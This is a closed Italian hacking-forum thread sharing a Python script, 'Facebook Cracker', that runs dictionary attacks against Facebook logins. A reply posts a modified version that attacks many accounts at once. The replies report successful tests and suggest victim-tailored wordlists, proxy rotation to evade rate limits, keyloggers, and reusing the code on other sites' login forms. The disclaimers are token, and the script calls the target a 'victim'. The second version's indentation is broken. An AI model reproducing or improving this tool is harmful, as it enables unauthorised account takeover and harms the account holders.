Tool Facebook bruteforce

Stato
Discussione chiusa ad ulteriori risposte.

insidehackers

Utente Gold
28 Giugno 2013
641
30
222
318
Script in python per bruteforce di facebook, il tool non l'ho scritto io lo solo modificato perchè non era più funzionante.
Codice:
#!usr/bin/python
#Facebook Cracker Version 2.1 can crack into Facebook Database 100% without Interruption By Facebook Firewall !
#This program is for educational purposes only.
#Don't attack people facebook accounts it's illegal !
#If you want to crack into someone's account, you must have the permission of the user.
#Mauritania Attacker is not responsible.


import sys
import random
import mechanize
import cookielib
import pdb

GHT = '''
        +=======================================+
        |..........Facebook Cracker v 2.1.......|
        +---------------------------------------+
        |#Author: Mauritania Attacker           |
        |#Contact: www.fb.com/mauritanie.forever|
        |#Contributos: Nelson Pato Jimenez      |
        |#contributor contact:                  |
        |   https://github.com/patojimenez      |
        |   https://twitter.com/_patojimenez    |
        |                                       |
        |#Date: 02/04/2013                      |
        |#Update at: 14/10/2015                 |
        |#This tool is made for pentesting.     |
        |#Changing the Description of this tool |
        |Won't made you the coder ^_^ !!!       |
        |#Respect Coderz ^_^                    |
        |#I take no responsibilities for the    |
        |  use of this program !                |
        +=======================================+
        |..........Facebook Cracker v 2.1.......|
        +---------------------------------------+
'''
print "Note: - This tool can crack facebook account even if you don't have the email of your victim"
print "# Hit CTRL+C to quit the program"
print "# Use www.graph.facebook.com for more infos about your victim ^_^"


email = str(raw_input("# Enter |Email| |Phone number| |Profile ID number| |Username| : "))
passwordlist = str(raw_input("Enter the name of the password list file : "))

useragents = [('User-agent', 'Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.1) Gecko/2008071615 Fedora/3.0.1-1.fc9 Firefox/3.0.1')]



login = 'https://m.facebook.com/login.php?login_attempt=1'
def attack(password):

  try:
     sys.stdout.write("\r[*] trying %s.. " % password)
     sys.stdout.flush()
     br.addheaders = [('User-agent', random.choice(useragents))]
     site = br.open(login)
     br.select_form(nr=0)

     
     ##Facebook
     br.form['email'] =email
     br.form['pass'] = password
     br.submit()
     log = br.geturl()
     if (log != login) and ('home' in log):
        pdb.set_trace()
        print "\n\n\n [*] Password found .. !!"
        print "\n [*] Password : %s\n" % (password)
        sys.exit(1)
  except KeyboardInterrupt:
        print "\n[*] Exiting program .. "
        sys.exit(1)

def search():
    global password
    for password in passwords:
        attack(password.replace("\n",""))



def check():

    global br
    global passwords
    try:
       br = mechanize.Browser()
       cj = cookielib.LWPCookieJar()
       br.set_handle_robots(False)
       br.set_handle_equiv(True)
       br.set_handle_referer(True)
       br.set_handle_redirect(True)
       br.set_cookiejar(cj)
       br.set_handle_refresh(mechanize._http.HTTPRefreshProcessor(), max_time=1)
    except KeyboardInterrupt:
       print "\n[*] Exiting program ..\n"
       sys.exit(1)
    try:
       list = open(passwordlist, "r")
       passwords = list.readlines()
       k = 0
       while k < len(passwords):
          passwords[k] = passwords[k].strip()
          k += 1
    except IOError:
        print "\n [*] Error: check your password list path \n"
        sys.exit(1)
    except KeyboardInterrupt:
        print "\n [*] Exiting program ..\n"
        sys.exit(1)
    try:
        print GHT
        print " [*] Account to crack : %s" % (email)
        print " [*] Loaded :" , len(passwords), "passwords"
        print " [*] Cracking, please wait ..."
    except KeyboardInterrupt:
        print "\n [*] Exiting program ..\n"
        sys.exit(1)
    try:
        search()
        attack(password)
    except KeyboardInterrupt:
        print "\n [*] Exiting program ..\n"
        sys.exit(1)

if __name__ == '__main__':
    check()

Copiare il codice in un file "fb.py" ed eseguirlo da terminale
Codice:
root@kali:~# python fb.py
 
  • Mi piace
Reazioni: Vuln Exploit
Hai provato se funziona? Poiché dubito che Facebook non abbia adottato contromisure contro il bruteforcing :sisi::sisi::sisi:
 
era un semplice dubbio :omfg:: mi sembra strano che una grande azienda come Facebook non abbia preso contromisure contro attacchi bruteforce-dictionary pur avendo a che fare con utenti che al 83,47% non sanno scegliere password decenti.
 
l'unico modo rimane RAT o keylogger.. bruteforce non funzionerà mai. poi questo fb.py risale dal 2010 o 2012. comunque.. se qualcuno trova una falla per entrare su altre pagine fb, fa prima a mandare le prove a loro. un ragazzo indiano e stato pagato tipo 12000 dollari per una cosa del genere, e non erà bruteforce
 
E stato fixato il 14/10/2015 da un altro utente e poi rifixato qualche settimana fa ed ora funziona testato personalmente, password list con cupp e l'utente stupido è fregato
 
Più che un attacco bruteforce è un attacco a dizionario (utilizza le password contenute in un file e non ne genera altre). Inoltre per ogni password ci impiega più di un secondo (ciò dipende dalla connessione e dal server che credo abbia volutamente aggiunto tale ritardo). Sarebbe più interessante aggiungere una funzione che permetta l'attacco a più account contemporaneamente (magari sfruttando quel poco di parallelismo che un computer desktop permette) in modo da aumentare la probabilità di trovare un account con password debole.
 
  • Mi piace
Reazioni: EmmeFreeze
E stato programmato per attaccare un singolo e la password list la devi creare tu studiando la vittima, 1 secondo va più che bene in un paio d'ore mi fa una lista completa.
Se non ti piace prenditi il codice e modificatelo
 
  • Mi piace
Reazioni: AlexGameByte
Grazie insidehackers
il tool l'ho testato personalmente e devo dire che funziona, l'unico problema è che per essere un bruteforce è molto lento.
La velocità dei bruteforcer di siti web dipende soprattutto dalla connessione, ma io credo che Facebook stesso abbia aumentato i tempi di risposta per contrastare tale attacco.
 
Ultima modifica:
E stato programmato per attaccare un singolo e la password list la devi creare tu studiando la vittima, 1 secondo va più che bene in un paio d'ore mi fa una lista completa.
Se non ti piace prenditi il codice e modificatelo
Python:
#!usr/bin/python
#Facebook Cracker Version 2.1.1 can crack into Facebook Database 100% without Interruption By Facebook Firewall !
#This program is for educational purposes only.
#Don't attack people facebook accounts it's illegal !
#If you want to crack into someone's account, you must have the permission of the user.
#Mauritania Attacker is not responsible.


import sys
import random
import mechanize
import cookielib
import pdb

GHT = '''
  +=======================================+
  |..........Facebook Cracker v 2.1.1.....|
  +---------------------------------------+
  |#Author: Mauritania Attacker  |
  |#Contact: www.fb.com/mauritanie.forever|
  |#Contributos: Nelson Pato Jimenez  |
  |#contributor contact:  |
  |  https://github.com/patojimenez  |
  |  https://twitter.com/_patojimenez  |
  |  |
  |#Date: 02/04/2013  |
  |#Update at: 14/10/2015  |
  |#This tool is made for pentesting.  |
  |#Changing the Description of this tool |
  |Won't made you the coder ^_^ !!!  |
  |#Respect Coderz ^_^  |
  |#I take no responsibilities for the  |
  |  use of this program !  |
  +=======================================+
  |..........Facebook Cracker v 2.1.1.....|
  +---------------------------------------+
'''
print "Note: - This tool can crack facebook account even if you don't have the email of your victim"
print "# Hit CTRL+C to quit the program"
print "# Use www.graph.facebook.com for more infos about your victim ^_^"


emaillist = str(raw_input("# Enter |Email| |Phone number| |Profile ID number| |Username| file list: "))
passwordlist = str(raw_input("Enter the name of the password list file : "))

useragents = [('User-agent', 'Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.1) Gecko/2008071615 Fedora/3.0.1-1.fc9 Firefox/3.0.1')]



login = 'https://m.facebook.com/login.php?login_attempt=1'
def attack(email, password):

  try:
  print("\r[*] trying %s on %s.. ", password, email)
  br.addheaders = [('User-agent', random.choice(useragents))]
  site = br.open(login)
  br.select_form(nr=0)

 
  ##Facebook
  br.form['email'] =email
  br.form['pass'] = password
  br.submit()
  log = br.geturl()
  if (log != login) and ('home' in log):
  pdb.set_trace()
  print "\n\n\n [*] Password found .. !!"
  print "\n [*] Email : %s\n" % (email)
  print "\n [*] Password : %s\n" % (password)
  sys.exit(1)
  except KeyboardInterrupt:
  print "\n[*] Exiting program .. "
  sys.exit(1)

def search():
  global password
  global email
  for password in passwords:
   for email in emails:
  attack(email.replace("\n",""), password.replace("\n",""))



def check():

  global br
  global passwords
  global emails
  try:
  br = mechanize.Browser()
  cj = cookielib.LWPCookieJar()
  br.set_handle_robots(False)
  br.set_handle_equiv(True)
  br.set_handle_referer(True)
  br.set_handle_redirect(True)
  br.set_cookiejar(cj)
  br.set_handle_refresh(mechanize._http.HTTPRefreshProcessor(), max_time=1)
  except KeyboardInterrupt:
  print "\n[*] Exiting program ..\n"
  sys.exit(1)
  try:
  list = open(passwordlist, "r")
  passwords = list.readlines()
  list = open(emaillist, "r")
  emails = list.readlines()
  k = 0
  h = 0
  while k < len(passwords):
  passwords[k] = passwords[k].strip()
  k += 1
  while h < len(emails):
  emails[h] = emails[h].strip()
  h += 1
  except IOError:
  print "\n [*] Error: check your password list path \n"
  sys.exit(1)
  except KeyboardInterrupt:
  print "\n [*] Exiting program ..\n"
  sys.exit(1)
  try:
  print GHT
  print " [*] Loaded : " , h, " accounts"
  print " [*] Loaded : " , k, " passwords"
  print " [*] Cracking, please wait ..."
  except KeyboardInterrupt:
  print "\n [*] Exiting program ..\n"
  sys.exit(1)
  try:
  search()
   print "No password found"
  except KeyboardInterrupt:
  print "\n [*] Exiting program ..\n"
  sys.exit(1)

if __name__ == '__main__':
  check()
Può essere migliorato
 
La velocità dei bruteforcer di siti web dipende soprattutto dalla connessione, ma io credo che Facebook stesso abbia aumentato i tempi di risposta per contrastare tale attacco.
Si si immaginavo fosse "colpa" fi FB ma un bruteforce che prova circa una password al secondo a meno che non si ha un culo più grosso di Nicki Minaj è impossibile trovare la password, secondo me anche se non metto in dubbio il funzionamento del tool (testato con la mia password di fb e funziona) lo ritengo inutile.
Comunque complimenti agli sviluppatori.
 
Ultima modifica:
Ciao, ascolta io tempo fa provai a modificarlo sostituendo l'url per il login, e il brute force partiva ma quando arrivava alla password giusta non si fermava mostrando quindi la password. Ora io non l'ho ancora provato il tuo, quindi non so se effettivamente funziona, comunque se dici così sarà vero, nel caso cos'hai modificato per farlo funzionare correttamente?
Grazie.

p.s ora ho provato sul mio account inserendo l'email, la password è nella wordlist ma non funziona...
 
Facebook fa passare troppi parametri di controllo, per cui lo script dovrebbe avere gli stessi parametri per ogni tentativo. Forse sì, caricando una lista 'infinita ' di proxy potrebbe andare, ma lo script non ha a disposiziobe questa funzione. Comunque il codice è molto utile se modificato per quanto riguarda il form di accesso per altri siti..
 
che strano come fa FB a non accorgersi non capisco che contro misure ci sono sul codice

Inviato dal mio ASUS_Z00ED utilizzando Tapatalk
 
Stato
Discussione chiusa ad ulteriori risposte.